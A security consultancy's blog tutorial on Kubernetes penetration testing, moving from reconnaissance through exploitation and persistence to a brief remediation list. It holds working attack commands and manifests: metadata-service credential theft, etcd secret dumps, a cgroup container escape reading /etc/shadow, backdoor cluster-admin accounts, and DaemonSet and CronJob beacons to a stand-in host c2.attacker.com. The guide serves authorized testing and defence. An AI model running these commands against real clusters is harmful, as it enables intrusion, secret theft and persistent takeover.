Back to Blog
Penetration Testing35 min read2024-12-29

Kubernetes Penetration Testing: Complete Attack & Defense Guide

Master Kubernetes penetration testing with comprehensive attack methodologies, exploitation techniques, and post-exploitation tactics. Learn to identify misconfigurations, escape containers, and assess cluster security.

A

Asfaleia Team

Security Consultant

Kubernetes Penetration Testing: Complete Attack & Defense Guide
Sections

Introduction to Kubernetes Penetration Testing

Kubernetes has become the backbone of modern cloud-native infrastructure, orchestrating containers across thousands of organizations worldwide. However, its complexity introduces numerous attack vectors that security teams must understand and test.

Why Kubernetes Penetration Testing Matters:
94% of organizations experienced a Kubernetes security incident in the past 12 months
67% of companies have slowed deployment due to container security concerns
Average cost of a container-related breach: $4.24 million
Default Kubernetes configurations are often insecure

This guide provides a comprehensive methodology for assessing Kubernetes cluster security, from reconnaissance to post-exploitation.

Kubernetes Attack Surface Overview

Control Plane Components

API Server (kube-apiserver)

Central management endpoint for all cluster operations
Default ports: 6443 (HTTPS), 8080 (HTTP - insecure)
Attack vectors: Authentication bypass, RBAC exploitation, DoS

etcd

Distributed key-value store containing all cluster state
Default ports: 2379 (client), 2380 (peer)
Attack vectors: Unauthorized access, data extraction, tampering

Controller Manager (kube-controller-manager)

Manages cluster state through control loops
Default ports: 10252, 10257
Attack vectors: Privilege escalation via controllers

Scheduler (kube-scheduler)

Assigns pods to nodes
Default ports: 10251, 10259
Attack vectors: Pod placement manipulation

Node Components

Kubelet

Primary node agent
Default ports: 10250 (HTTPS), 10255 (read-only, deprecated)
Attack vectors: Unauthenticated access, command execution

Kube-proxy

Network proxy on each node
Manages iptables/IPVS rules
Attack vectors: Network traffic manipulation

Container Runtime (containerd/CRI-O)

Container execution engine
Attack vectors: Container escape, runtime vulnerabilities

Additional Attack Surfaces

CNI Plugins: Network policy bypass, MITM attacks
CSI Drivers: Volume manipulation, data access
Ingress Controllers: HTTP smuggling, WAF bypass
Service Mesh: mTLS termination, policy bypass

Phase 1: Reconnaissance

External Reconnaissance

Shodan/Censys Queries:
# Shodan queries for exposed Kubernetes
shodan search "kubernetes" port:6443
shodan search "kube-apiserver"
shodan search "Server: openresty" ssl:"kubernetes"
shodan search "ssl.cert.subject.cn:kubernetes"
# Censys queries
censys search "services.http.response.headers.server: openresty AND services.port: 6443"
DNS Enumeration:
# Common Kubernetes DNS names
dig kubernetes.default.svc.cluster.local
dig +short CNAME api.kubernetes.io
dig +short A k8s.example.com
# Cloud provider patterns
dig +short eks.amazonaws.com
dig +short *.azmk8s.io
dig +short *.gke.goog

Internal Reconnaissance

Service Discovery:
# Discover Kubernetes API server
nmap -sV -p 6443,8443,443 <target-range>
# Check for exposed dashboards
curl -k https://<target>:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Enumerate kubelet
nmap -sV -p 10250,10255 <node-ips>
From Inside a Pod:
# Environment variables reveal cluster info
env | grep KUBERNETES
# DNS-based service discovery
nslookup kubernetes.default.svc.cluster.local
cat /etc/resolv.conf
# API server endpoint
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Test API access
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

Cloud Metadata Service Access

# AWS IMDS
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP Metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure IMDS
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Phase 2: Vulnerability Discovery

Exposed Kubernetes Dashboard

# Check for unauthenticated dashboard
curl -k https://<cluster>/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Common dashboard paths
/dashboard
/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

Anonymous Kubelet Access

# Test anonymous kubelet API access
curl -k https://<node>:10250/pods
curl -k https://<node>:10250/runningpods
curl -k https://<node>:10250/stats
# Execute commands via kubelet (if anonymous exec allowed)
curl -k https://<node>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

RBAC Misconfigurations

# Check current permissions
kubectl auth can-i --list
# Check permissions for all verbs
kubectl auth can-i '*' '*'
# Check specific dangerous permissions
kubectl auth can-i create pods
kubectl auth can-i create secrets
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
# Check for wildcard permissions
kubectl get clusterroles -o json | jq '.items[] | select(.rules[]?.verbs[]? == "*" or .rules[]?.resources[]? == "*") | .metadata.name'

Etcd Direct Access

# Check if etcd is exposed
nmap -sV -p 2379 <control-plane-ip>
# Connect to unauthenticated etcd
etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix --keys-only
# Dump all secrets from etcd
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets --prefix

Phase 3: Exploitation

CVE-2018-1002105: API Server Privilege Escalation

This critical vulnerability allows any user with exec/attach/portforward permissions to escalate to cluster-admin.

# Exploit: Hijack websocket connection to backend
# Attacker establishes exec connection, then sends crafted request
# to kube-aggregator which gets forwarded with elevated privileges
# Check if vulnerable (versions < 1.10.11, 1.11.5, 1.12.3)
kubectl version --short

CVE-2020-8554: Man-in-the-Middle

External IP services can intercept traffic intended for internal services.

# Malicious service to intercept cluster traffic
apiVersion: v1
kind: Service
metadata:
  name: mitm-service
spec:
  externalIPs:
  - 10.96.0.1  # Cluster IP of target service
  ports:
  - port: 443
    targetPort: 8080
  selector:
    app: attacker-pod

CVE-2024-21626: Container Escape via runc

# Check runc version (vulnerable < 1.1.12)
runc --version
# Exploit involves manipulating file descriptors
# during container creation to escape to host

Privileged Container Escape

Node Filesystem Access:
# Privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
Escape via cgroups:
# Inside privileged container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Get container path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create escape payload
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
# Trigger escape
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

Service Account Token Theft

# Default token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use token to access API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets

hostPath Volume Abuse

# Pod with hostPath to access node filesystem
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-abuse
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-etc
      mountPath: /host-etc
    - name: host-var
      mountPath: /host-var
  volumes:
  - name: host-etc
    hostPath:
      path: /etc
  - name: host-var
    hostPath:
      path: /var/lib/kubelet
# Inside pod, access host sensitive files
cat /host-etc/shadow
cat /host-var/config.yaml  # kubelet config
ls /host-var/pods/*/volumes/kubernetes.io~secret/  # All SA tokens on node

Phase 4: Post-Exploitation

Lateral Movement

Cross-Namespace Access:
# List all namespaces
kubectl get namespaces
# Try to access secrets in other namespaces
kubectl get secrets -n kube-system
kubectl get secrets -n default
# Create pod in another namespace if permitted
kubectl run shell --image=alpine -n production -- sleep infinity
Node-to-Node Pivoting:
# After escaping to a node, find other nodes
kubectl get nodes -o wide
# SSH from node to node (if keys exist)
cat /root/.ssh/id_rsa
# Use kubelet creds to access other kubelets
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem https://<other-node>:10250/pods

Secret Extraction

# Get all secrets
kubectl get secrets --all-namespaces -o yaml
# Decode secrets
kubectl get secret <name> -o jsonpath='{.data}' | base64 -d
# Extract specific secret types
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type=="kubernetes.io/tls") | .metadata.name'
# Get cloud provider secrets
kubectl get secrets -n kube-system | grep -E "aws|azure|gcp"

Persistence Mechanisms

Malicious DaemonSet:
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: node-monitor
  template:
    metadata:
      labels:
        name: node-monitor
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            curl -s https://c2.attacker.com/beacon?node=$(hostname)
            sleep 3600
          done
        securityContext:
          privileged: true
      tolerations:
      - operator: Exists
CronJob Persistence:
apiVersion: batch/v1
kind: CronJob
metadata:
  name: persistence
  namespace: default
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: beacon
            image: curlimages/curl
            command:
            - /bin/sh
            - -c
            - curl https://c2.attacker.com/alive?cluster=$(hostname)
          restartPolicy: OnFailure
Malicious Admission Webhook:
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: backdoor-webhook
webhooks:
- name: backdoor.attacker.com
  clientConfig:
    url: https://attacker.com/mutate
    caBundle: <base64-ca>
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]
  admissionReviewVersions: ["v1"]
  sideEffects: None
  failurePolicy: Ignore

Cluster Takeover

# Create cluster-admin binding
kubectl create clusterrolebinding pwned-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default
# Deploy backdoor admin user
kubectl create serviceaccount backdoor-admin -n kube-system
kubectl create clusterrolebinding backdoor-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:backdoor-admin
# Get long-lived token
kubectl create token backdoor-admin -n kube-system --duration=8760h

Essential Penetration Testing Tools

kube-hunter

# Remote cluster scanning
kube-hunter --remote <cluster-ip>
# Scan from inside a pod
kube-hunter --pod
# Active hunting (exploitation)
kube-hunter --active

Peirates

# Interactive post-exploitation tool
./peirates
# Key features:
# - Service account token harvesting
# - Secret extraction across namespaces
# - Privilege escalation automation
# - Cloud metadata access

kubeletctl

# Enumerate pods on a node
kubeletctl pods -s <node-ip>
# Execute commands in containers
kubeletctl exec -s <node-ip> -p <pod> -c <container> -- id
# Scan for misconfigurations
kubeletctl scan rce -s <node-ip>

kdigger

# Comprehensive container breakout scanner
kdigger dig all
# Specific checks
kdigger dig capabilities
kdigger dig namespaces
kdigger dig mounts

kubectl Plugins

# Install with krew
kubectl krew install rbac-lookup
kubectl krew install access-matrix
kubectl krew install who-can
# Usage
kubectl rbac-lookup --kind User
kubectl access-matrix --sa default
kubectl who-can create pods --all-namespaces

MITRE ATT&CK for Containers Mapping

| Tactic | Technique | Kubernetes Context |

|--------|-----------|-------------------|

| Initial Access | Exploit Public-Facing Application | Exposed Dashboard/API |

| Initial Access | Valid Accounts | Stolen kubeconfig/tokens |

| Execution | Container Administration Command | kubectl exec, kubelet API |

| Persistence | Create Account | Service Account creation |

| Persistence | Implant Container Image | Backdoored images |

| Privilege Escalation | Exploitation for Privilege Escalation | CVE-2018-1002105 |

| Defense Evasion | Impair Defenses | Disable admission controllers |

| Credential Access | Unsecured Credentials | SA tokens, secrets |

| Discovery | Container and Resource Discovery | API enumeration |

| Lateral Movement | Exploitation of Remote Services | Cross-namespace access |

| Collection | Data from Information Repositories | Secret extraction |

| Exfiltration | Exfiltration Over Web Service | Data to external C2 |

| Impact | Resource Hijacking | Cryptomining pods |

Remediation Recommendations

Immediate Actions

1Disable anonymous authentication on API server and kubelet
2Enable RBAC with least-privilege roles
3Implement Network Policies with default-deny
4Enable Audit Logging for all API operations
5Use Pod Security Standards at "Restricted" level

Long-term Improvements

1Deploy runtime security (Falco, Sysdig)
2Implement image scanning in CI/CD
3Use secrets management solutions (Vault, Sealed Secrets)
4Regular RBAC audits and reviews
5Cluster hardening based on CIS Benchmark

Conclusion

Kubernetes penetration testing requires understanding both the orchestration platform and container security fundamentals. The attack surface is vast—from API server misconfigurations to container escape techniques. Security teams must regularly assess their clusters using these methodologies to identify and remediate vulnerabilities before attackers exploit them.

Key Takeaways:
Default Kubernetes configurations are insecure
Service account tokens are high-value targets
Container escapes often lead to cluster compromise
Defense-in-depth is essential for Kubernetes security

Disclaimer: This guide is for authorized security testing only. Always obtain proper authorization before testing Kubernetes clusters.

Tags

#Kubernetes#K8s Pentesting#Container Security#Cloud Native#Red Team#MITRE ATT&CK

Downloadable-style takeaway

Use this as a working assessment checklist.

Pull the headings into your next security review, assign owners, and mark each section as ready, partial, or missing.

A

Written by

Asfaleia Team

Security Consultant

Written by the Asfaleia Tech Security Team, combining field experience across offensive testing, detection engineering, incident readiness, and compliance evidence.

Ready to Strengthen Your Security?

Let's discuss how Asfaleia-Tech can help protect your organization.